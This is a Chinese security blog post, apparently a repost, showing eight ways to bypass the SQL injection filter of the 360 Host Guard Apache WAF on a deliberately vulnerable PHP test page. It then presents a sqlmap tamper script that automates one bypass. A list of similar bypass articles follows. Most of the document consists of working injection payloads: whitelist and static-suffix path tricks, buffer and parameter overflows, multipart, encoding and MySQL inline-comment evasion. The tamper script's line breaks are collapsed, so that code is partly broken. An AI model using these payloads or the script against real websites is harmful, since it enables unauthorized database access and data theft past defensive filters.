0x00 前言

在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影。从半年前的测试虚拟机里面,翻出了360主机卫士Apache版的安装包,就当做是一个纪念版吧。这边主要分享一下几种思路,Bypass 360主机卫士SQL注入防御。

0x01 环境搭建

360主机卫士官网:http://zhuji.360.cn软件版本:360主机卫士Apache 纪念版测试环境:phpStudy

本地构造SQL注入点:

$id=_REQUEST['id'];
query = "SELECT * FROM admin WHERE id = $id ";

0x02 WAF测试

因zhuji.360.cn站点已关闭,拦截界面为空白,抓包先放一张拦截图:

姿势一:网站后台白名单

在360主机卫士客户端设置中存在默认网站后台白名单,如图:

利用PHP中的PATH_INFO问题,随便挑选一个白名单加在后面,可成功bypass。

/test.php/admin?id=1 union select 1,2,schema_name from information_schema.SCHEMATA

姿势二:静态资源

当文件后缀名为js、jpg、png等静态资源后缀请求,类似白名单机制,waf为了检测效率,直接略过这样一些静态资源文件名后缀的请求。

/test.php/1.png?id=1 union select 1,2,schema_name from information_schema.SCHEMATA

姿势三:缓冲区溢出

当Post大包时,WAF在处理测试向量时超出了其缓冲区长度,超过检测内容长度将会直接Bypass,如果正常用户上传一些比较大的文件,WAF每个都检测的话,性能就会被耗光。

基于这些考虑,POST 大包溢出的思路可成功Bypass。

/test.php

POST:

id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select 1,2,schema_name from information_schema.SCHEMATA

姿势四:uri参数溢出

这种溢出的形式,我称它为uri参数溢出。比如某WAF,默认情况下只能获取前100个参数进行检测,当提交第101个参数时,那么,将无法对攻击者提交的第100个以后的参数进行有效安全检测,从而绕过安全防御。

经测试,当提交的参数个数超过97个,可进行union select 查询,再增加对关键字from的绕过,可成功Bypass。

http://192.168.204.128/test.php

POST:id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1 union select 1,2,schema_name %0a/!from/information_schema.SCHEMATA

姿势五:GET+POST

一个历史久远的逻辑问题了,当同时提交GET、POST请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可轻易Bypass。

/test.php?id=1 union select 1,2,schema_name from information_schema.SCHEMATA

POST:aaa

姿势六:multipart/form-data格式

将Post、Get数据包转为上传multipart/form-data格式数据包,利用协议解析的差异,从而绕过SQL防御。

------WebKitFormBoundaryACZoaLJJzUwc4hYMContent-Disposition: form-data; name="id"

1 union /* !select*/ 1,2,schema_name【这里使用Enter换行】from information_schema.SCHEMATA------WebKitFormBoundaryACZoaLJJzUwc4hYM--

如果转换数据包进行绕过呢?

首先,新建一个html页面:

<html>
<head></head>
<body>
<form action="http://192.168.204.128/test.php" method="post" enctype="multipart/form-data">
<input type="text" name="id">
<input type="submit">
</form>
</body>
</html>

然后,在浏览器打开并在输入框中输入参数,抓包发送到Repeater,进一步构造Payload获取数据。

姿势七:编码绕过

客户端对Payload进行编码,服务端能够自动进行解码,这时候就考验WAF的编码解码能力了,如果WAF不能进行有效解码还原攻击向量,可能导致绕过,常见编码如URL编码、unicode编码(IIS)、宽字节编码等。这个地方虽然URL编码也能绕过获取数据,主要是因为WAF对POST的防御规则太过于松散,union select 随便绕,select from 用%0a就可以解决,主要分享一下编码绕过的思路。

/test.php?id=1POST:id=1 %55nion %53elect/* !1,2,schema_name %0aFROM information_schema.SCHEMATA* /

姿势八:%0a+内联注释

利用Mysql数据库的一些特性,绕过WAF的防御规则,最终在数据库中成功执行了SQL,获取数据。

http://192.168.204.128/test.php

POST:

id=1 union%0a/* !12345select* / 1,2,schema_name%0a/* !12345from */information_schema.SCHEMATA

0x03 自动化Bypass

​ 当测试出绕过WAF SQL注入防御的技巧后,可通过编写tamper脚本实现自动化注入,以姿势八:%0a+内联注释为例,主要是针对union select from等关键字替换,Payload中的部分关键字可能会被waf拦截,需要一步步调试,测试,总结规律。

tamper脚本:

#!/usr/bin/env python"""
write by Bypass
"""
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOW
def dependencies():pass
def tamper(payload, **kwargs):"""
    Replaces keywords>>> tamper('UNION SELECT id FROM users')'union%0a/*!12345select*/id%0a/*!12345from*/users'"""
    if payload:payload=payload.replace(" ALL SELECT ","%0a/*!12345select*/")payload=payload.replace("UNION SELECT","union%0a/*!12345select*/")payload=payload.replace(" FROM ","%0a/*!12345from*/")payload=payload.replace("CONCAT","CONCAT%23%0a")payload=payload.replace("CASE ","CASE%23%0a")payload=payload.replace("CAST(","/*!12345CASt(*/")payload=payload.replace("DATABASE()","database%0a()")return payload

加载tamper脚本,可成功获取数据

这边也分享一下,另一个比较简单的自动化注入的方法,就是使用超级SQL注入工具,利用这边提供的注入绕过模块,结合日志中心的测试记录,可以很方便的进行调试,然后保存绕过模板,方便下次调用。

利用前面的关键字符进行替换,自动化注入获取数据库数据:

0x04 END

​ 分享了几种有意思的绕过思路,主要利用了WAF层的逻辑问题,数据库层的一些特性,服务器层编码解析、参数获取的差异。其中借鉴和学习了不少前辈们的思路,受益匪浅,学习,沉淀,总结,分享,周而复始。

本文由Bypass原创发布,原文链接:https://www.cnblogs.com/xiaozi/p/9132737.html  欢迎分享本文,转载请保留出处。

关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

Bypass 360主机卫士SQL注入防御(多姿势)相关推荐

  1. Bypass 360主机卫士SQL注入防御(附tamper脚本)

    0x01 前言 在测试过程中,经常会遇到一些主机防护软件,对这方面做了一些尝试,可成功bypass了GET和POST的注入防御,分享一下姿势. 0x02 环境搭建 Windows Server 200 ...

  2. 360网站卫士SQL注入绕过案例一个

    不要以为用了360就可以高枕无忧,直接在netcraft的site_report中找到源站服务器IP,直接SQL脱裤,甚至可获取服务器权限. 存在漏洞的网站: 手工测试存在注入点: 但是网站有360保 ...

  3. bypass最新版d盾mysql_Bypass 护卫神SQL注入防御(多姿势)

    0x00 前言 ​ 护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能. 这边主要分享一下几种思路,Bypa ...

  4. bypass最新版d盾mysql_Bypass D盾_IIS防火墙SQL注入防御(多姿势)

    0X01 前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况.D盾_IIS防火墙注入防御策略 ...

  5. bypass最新版d盾mysql_Bypass D盾_IIS防火墙SQL注入防御(多姿势) | CN-SEC 中文网

    0X01 前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的 a.白名单   b.绕过union select或se ...

  6. 护卫神mysql_hws_Bypass 护卫神SQL注入防御(多姿势)

    0x00 前言 ​ 护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能. 这边主要分享一下几种思路,Bypa ...

  7. 华众6.5虚拟主机管理系统SQL注入漏…

    华众6.5虚拟主机管理系统SQL注入漏洞利用 本篇文章来源于 黑基网-中国最大的网络安全站点 原文链接:http://www.hackbase.com/tech/2012-01-17/65830.ht ...

  8. linux系统安装文网卫士,360主机卫士 Linux 版本 安装

    主机卫士 Linux 版本 用户使用手册 1.软件安装 1.1 必要环境 1)curl (通过 yum 戒者 apt-get 安装) 服务器版操作系统默认已经安装了 curl,如果没有请自行安装 ce ...

  9. Bypass安全狗之SQL注入

    前言 该文章只进行技术分享与探讨,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者无关. 一.原理 /*!*/叫做内联注释,当!后面所接的数据库版本号时,当实际的版本等于或是高 ...

  10. sql注入100种姿势过waf(二):过安全狗

    仅供学习交流如果你有更好的思路可以一起分享,想一起学习的进我主页 先去安全狗网站下载最新的安全狗版本 从官网下载 windwos apache版 v4.0.2395  最新版   数据库是mysql ...

最新文章

  1. 注入(二):修改导入表(c++)
  2. C语言基础:C语言指针(6) - 指针和字符串
  3. Hibernate 基础配置及常用功能(二)
  4. 【线性代数公开课MIT Linear Algebra】 第二十三课 微分方程与exp(At)
  5. scrapyd远程连接配置
  6. java中set怎么建int型_使用Array.setInt来填充Java中的数组
  7. 机器学习 -- 用户画像
  8. 基于成本效益的深度信任网络的智能LEACH的多级动态优化附Matlab代码
  9. 我94年的,做了一年外包我就跑路了
  10. GPT磁盘如何正确分区以及UEFI引导怎么修复?
  11. FBX导入Unity中模型没有材质的处理
  12. 四舍六入五成双的意思
  13. 【LeetCode-SQL】196. 删除重复的电子邮箱
  14. MindSpore实现语音指令识别(迁移tf入门教程)
  15. C语言:求最大公约数和最小公倍数
  16. 揪出Android流氓软件
  17. CMGCN 2022ACL
  18. 忙忙碌碌的生活又开始了
  19. java 1900年_JDK与1900年01月01日
  20. 分众客户结构改善明显,回暖只是时间问题

热门文章

  1. 1、vsftpd的简介
  2. 结对编程——自动生成数学试卷的系统(javaswing,mysql)by 陈松刘宇航
  3. eclipse 安装jetty WTP Adaptor插件
  4. 无聊科技正经事周刊(第3期):美团的推荐算法,是在玩火吗?
  5. 什么叫做云计算?学习云计算先要理解
  6. HTML+5.2+新特性,HTML 5中的新特性
  7. 记一次给笔记本安装固态硬盘
  8. 不爱,就收起暧昧走开...
  9. 2022-UNCTF部分wp以及web的赛后复现学习
  10. 给要入门量化分析的人一些建议(转)